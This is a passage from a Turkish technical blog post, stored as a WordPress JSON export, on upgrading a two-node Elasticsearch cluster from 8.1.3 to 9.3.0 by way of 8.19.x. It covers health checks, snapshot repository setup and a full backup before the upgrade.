{"id":775,"date":"2026-02-20T15:50:00","date_gmt":"2026-02-20T12:50:00","guid":{"rendered":"https:\/\/oraclius.com.tr\/?p=775"},"modified":"2026-04-07T11:25:50","modified_gmt":"2026-04-07T08:25:50","slug":"elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi","status":"publish","type":"post","link":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/","title":{"rendered":"Elasticsearch 8.1.3’ten 9.3.0’a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi"},"content":{"rendered":"\n

Elasticsearch cluster\u2019\u0131n\u0131z\u0131 8.1.3 gibi eski bir s\u00fcr\u00fcmden 9.3.0 nesline ta\u015f\u0131mak, s\u0131radan bir g\u00fcncelleme de\u011fil; veri motorunun (Lucene), g\u00fcvenlik protokollerinin ve k\u00fcme y\u00f6netiminin evrimle\u015fmesidir. Bu rehberde, 2 Node’lu bir yap\u0131da s\u0131f\u0131r veri kayb\u0131 hedefleyerek uygulad\u0131\u011f\u0131m\u0131z “Bridge Upgrade” (K\u00f6pr\u00fc Y\u00fckseltme)<\/strong> stratejisini inceliyoruz.<\/p>\n\n\n\n

<\/p>\n\n\n\n

\n\n\n\n

B\u00f6l\u00fcm 1: Operasyon \u00d6ncesi Haz\u0131rl\u0131k ve “Veri Sigortas\u0131” (Snapshot)<\/h2>\n\n\n\n

Sistem y\u00f6neticili\u011finde “deneme-yan\u0131lma” veri katman\u0131nda yap\u0131lmaz. Maj\u00f6r ge\u00e7i\u015flerde geri d\u00f6n\u00fc\u015f\u00fcn tek yolu fiziksel ve mant\u0131ksal yedeklemedir.<\/p>\n\n\n\n

<\/p>\n\n\n\n

1.1. Cluster Sa\u011fl\u0131k Kontrol\u00fc (Health Check)<\/h3>\n\n\n\n

Upgrade maratonuna ba\u015flamadan \u00f6nce, k\u00fcmenizin nefes al\u0131\u015f\u0131n\u0131 kontrol etmelisiniz. E\u011fer cluster durumunuz “Yellow” veya “Red” ise, sorunu \u00e7\u00f6zmeden asla bir \u00fcst s\u00fcr\u00fcme ge\u00e7meyin.<\/p>\n\n\n\n

Terminal \u00fczerinden kontrol:<\/strong><\/p>\n\n\n\n

curl -X GET \"localhost:9200\/_cluster\/health?pretty\"<\/code><\/pre>\n\n\n\n
Burada g\u00f6rmeniz gereken tek de\u011fer “status”: “green”<\/strong> olmal\u0131d\u0131r.<\/p>\n\n\n\n
<\/p>\n\n\n\n
1.2. Fiziksel Yedekleme Dizinini Tan\u0131mlama (path.repo)<\/h3>\n\n\n\n
Multi-node (\u00e7oklu d\u00fc\u011f\u00fcm) mimarilerde en kritik nokta, t\u00fcm node’lar\u0131n ayn\u0131 yedekleme dizinine eri\u015febilmesidir. Biz bu senaryoda, kurumsal standartlara uygun olarak her iki node’a da mount edilmi\u015f payla\u015f\u0131ml\u0131 bir disk alan\u0131<\/strong> (NFS, SAN veya Shared Disk) kullan\u0131yoruz.<\/p>\n\n\n\n
\n
VMware Workstation\u2019da Ortak Disk (NAS) Yap\u0131land\u0131rma Rehberi<\/a><\/div>\n<\/div>\n\n\n\n
Her iki node \u00fczerinde de<\/strong> \u015fu ad\u0131mlar\u0131 izleyin:<\/p>\n\n\n\n
    \n
  1. Dizini Olu\u015fturun ve Yetki Verin:<\/strong><\/li>\n<\/ol>\n\n\n\n
    mkdir -p \/data\/elasticsearch\/backup\nchown -R elasticsearch:elasticsearch \/data\/elasticsearch\/backup<\/code><\/pre>\n\n\n\n
    2. \/etc\/elasticsearch\/elasticsearch.yml Dosyas\u0131n\u0131 G\u00fcncelleyin:<\/strong> Dosyan\u0131n en alt\u0131na \u015fu sat\u0131r\u0131 ekleyin. Bu ayar olmadan Elasticsearch g\u00fcvenlik gere\u011fi yedekleme i\u015flemini reddedecektir.<\/p>\n\n\n\n
    # Snapshot repository dizini tan\u0131mlama\npath.repo: [\"\/data\/elasticsearch\/backup\"]<\/code><\/pre>\n\n\n\n
    3. Servisleri Restart Edin:<\/strong> Ayarlar\u0131n okunmas\u0131 i\u00e7in node’lar\u0131 s\u0131rayla yeniden ba\u015flat\u0131n:<\/p>\n\n\n\n
    systemctl restart elasticsearch.service<\/code><\/pre>\n\n\n\n
    <\/p>\n\n\n\n
    1.3. Snapshot Repository: Dijital Sigortan\u0131z<\/h3>\n\n\n\n
    \u015eimdi Elasticsearch’e bu fiziksel dizini bir “mant\u0131ksal repository” olarak tan\u0131tal\u0131m.<\/p>\n\n\n\n
    Kibana Dev Tools \u00fczerinden:<\/strong><\/p>\n\n\n\n
    PUT \/_snapshot\/full_backup_repo\n{\n  \"type\": \"fs\",\n  \"settings\": {\n    \"location\": \"\/data\/elasticsearch\/backup\",\n    \"compress\": true\n  }\n}<\/code><\/pre>\n\n\n\n
    <\/p>\n\n\n\n
    1.4. Tam Yedekleme (Full Snapshot) Ba\u015flatma<\/h3>\n\n\n\n
    \u015eimdi, 8.1.3 versiyonundaki t\u00fcm verilerimizi koruma alt\u0131na al\u0131yoruz. Bu i\u015flem, maj\u00f6r s\u00fcr\u00fcm y\u00fckseltmesindeki en b\u00fcy\u00fck can simidimizdir.<\/p>\n\n\n\n
    PUT \/_snapshot\/full_backup_repo\/pre_upgrade_snapshot?wait_for_completion=true\n{\n  \"indices\": \"*\",\n  \"ignore_unavailable\": true,\n  \"include_global_state\": true\n}<\/code><\/pre>\n\n\n\n
    Kritik Not:<\/strong> wait_for_completion=true<\/code> parametresi hayati \u00f6nem ta\u015f\u0131r. Bu sayede yedekleme i\u015flemi bitene kadar terminal oturumu kapanmaz ve i\u015flemin sonunda \"state\": \"SUCCESS\"<\/code> ibaresini g\u00f6rmeden bir sonraki a\u015famaya (paket g\u00fcncellemesine) ge\u00e7menizi engeller.<\/p>\n\n\n\n
    <\/p>\n\n\n\n
    \n\n\n\n
    B\u00f6l\u00fcm 2: Ara Durak Stratejisi \u2013 8.19.x K\u00f6pr\u00fcs\u00fc<\/h2>\n\n\n\n
    Elasticsearch d\u00fcnyas\u0131nda 8.x s\u00fcr\u00fcm\u00fcnden 9.x s\u00fcr\u00fcm\u00fcne ge\u00e7mek, sadece yeni \u00f6zellikler kazanmak de\u011fil, altyap\u0131daki veri motorunun (Lucene) standartlar\u0131n\u0131 tamamen de\u011fi\u015ftirmek demektir. 8.1.3 s\u00fcr\u00fcm\u00fc ile 9.3.0 aras\u0131nda ciddi bir “versiyon bo\u015flu\u011fu” bulunur ve bu bo\u015flu\u011fu do\u011frudan atlamaya \u00e7al\u0131\u015fmak k\u00fcme b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc (cluster integrity) bozabilir.<\/p>\n\n\n\n
    <\/p>\n\n\n\n
    2.1. Neden Do\u011frudan Ge\u00e7i\u015f Yap\u0131lamaz? (Lucene Uyumlulu\u011fu)<\/h3>\n\n\n\n
    Elasticsearch 9.3.0, kendinden bir \u00f6nceki maj\u00f6r s\u00fcr\u00fcm\u00fcn (8.x) sadece en g\u00fcncel haliyle optimize edilmi\u015f indexlerini hatas\u0131z okuyabilir. 8.19.x s\u00fcr\u00fcm\u00fc, 8.x serisinin “final” noktas\u0131d\u0131r ve 9.x nesline ge\u00e7i\u015f i\u00e7in gereken Upgrade Assistant<\/strong> arac\u0131n\u0131n en geli\u015fmi\u015f versiyonunu bar\u0131nd\u0131r\u0131r.<\/p>\n\n\n\n